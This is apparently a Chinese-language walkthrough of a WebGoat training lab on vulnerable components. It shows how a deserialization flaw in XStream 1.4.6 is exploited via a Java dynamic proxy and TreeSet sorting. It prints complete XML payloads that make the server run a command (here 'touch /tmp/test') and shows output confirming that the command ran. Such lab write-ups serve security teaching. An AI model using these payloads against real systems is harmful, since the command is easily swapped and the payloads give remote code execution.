WebGoat全通关:A6-Vuln-and-Outdated-Components
Vulnerable Components #
开发者往往不像自己写的代码一样熟悉 ta 使用的依赖
亦或者是依赖的层数复杂、依赖的数量较多
因此依赖中的漏洞造成的损害往往比想象中大
实验:利用 XStream 1.4.6 的 XML 反序列化漏洞 #
目标是执行 (new java.lang.ProcessBuilder("touch", "/tmp/test")).start()
简单地对 ProcessBuilder 反序列化并没有什么用,因为它是静态的,需要通过调用链触发 start() 方法
(关于反序列化原理可以参考 [[posts/WebGoat/WebGoat全通关:A8-Software-and-Data-Integrity]])
这里用了一种非常常见的技巧:Java 动态代理
具体来说就是调用 java.beans.EventHandler.create
该方法返回一个被动态代理的对象
代理的意思是:对该对象所有的方法调用都会被转为实例化 EventHandler 时指定的另一个类的方法
Comparable obj = EventHandler.create(Comparable.class, new java.lang.ProcessBuilder("touch", "/tmp/test"), "start");
接下来还需要找一种办法来调用这个对象的随便一个方法
这里使用了 TreeSet 建立时的排序机制触发 Comparable.compareTo()
Set<Comparable> set = new TreeSet<Comparable>();
set.add("foo");
set.add((Comparable) EventHandler.create(Comparable.class, new java.lang.ProcessBuilder("touch", "/tmp/test"), "start");
set 的 XML 序列化如下
<sorted-set>
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>touch</string>
<string>/tmp/test</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
查看一下 /tmp/test 是否被创建
$ docker exec webgoat ls /tmp
hsperfdata_root
hsperfdata_webgoat
jruby-1
test
tomcat.8080.12854051584769605862
tomcat.9090.8426600320365208738
tomcat-docbase.8080.9566489061383270690
tomcat-docbase.9090.776769697714729608
webgoat.jar-spring-boot-libs-e0177fd9-b07e-430f-8ff5-ee68290f9390
webwolf-fileserver
根据实验要求,过关需要转化为 Contact 对象
然后应该框架会自动触发
<dynamic-proxy>
<interface>org.owasp.webgoat.lessons.vulnerablecomponents.Contact</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>touch</string>
<string>/tmp/test</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>